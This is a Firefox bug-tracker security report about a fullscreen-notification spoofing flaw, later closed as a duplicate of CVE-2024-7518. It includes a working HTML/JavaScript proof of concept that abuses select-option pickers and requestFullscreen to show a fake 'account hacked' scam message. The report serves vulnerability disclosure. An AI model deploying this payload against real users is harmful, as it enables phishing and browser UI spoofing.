Closed Bug 1906957 Opened 2 years ago Closed 2 years ago

Full screen notification can obscure using select option

Categories

(Core :: DOM: Core & HTML, defect)

Firefox 128
defect

Tracking

()

RESOLVED DUPLICATE of bug 1875354

People

(Reporter: lijoparappur, Unassigned)

References

Details

(Keywords: csectype-spoof, reporter-external)

Attachments

(1 file)

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0

Steps to reproduce:

chrome Issue 41494315 Select Options Can Escape Across Tabs is working here i think it need to fix here while checking it i found we can obscure fullscreen notification with changed poc.

Actual results:

Click Anywhere
Move mouseover select option

Load below html
Attaching video proof

Expected results:

<!DOCTYPE html>
<html>
<style>
  select {
    all: initial;
    text-align: center;
    width: 100vw;
    font-size: 1.5rem;
  }

  center {
    margin-top: 0vh;
  }

  option {
    height: 100vh;
  }
</style>

<body>
  <center>
    <select id="mySelect" onmouseover=document.documentElement.requestFullscreen();>
      <option disabled>&emsp;</option>
      <option disabled></option>
      <option disabled></option>
      <option disabled>&emsp;&emsp;Your account just got hacked. Email help@attacker.com to save your account.</option>
      <option disabled></option>
      <option disabled></option>
      <option disabled></option>
    </select>
    <h1>Click Anywhere</h1>
  </center>
</body>
<script>
  var selectElement = document.getElementById("mySelect");

  window.addEventListener('click', function () {

    setInterval(function () {
      selectElement.showPicker();
    }, 0);
  });
</script>

</html>
Group: firefox-core-security → dom-core-security
Component: Untriaged → DOM: Core & HTML
Keywords: csectype-spoof
Product: Firefox → Core

I added some markup in comment 0 so the code is readable.

Bug 1902131 also references this same Chromium issue. I have not compared the test cases.

See Also: → 1902131

This also looks very similar to bug 1875354 to me.

See Also: → CVE-2024-7518

I think we can mark this as a dup of bug 1875354

Status: UNCONFIRMED → RESOLVED
Closed: 2 years ago
Duplicate of bug: CVE-2024-7518
Resolution: --- → DUPLICATE
Group: dom-core-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: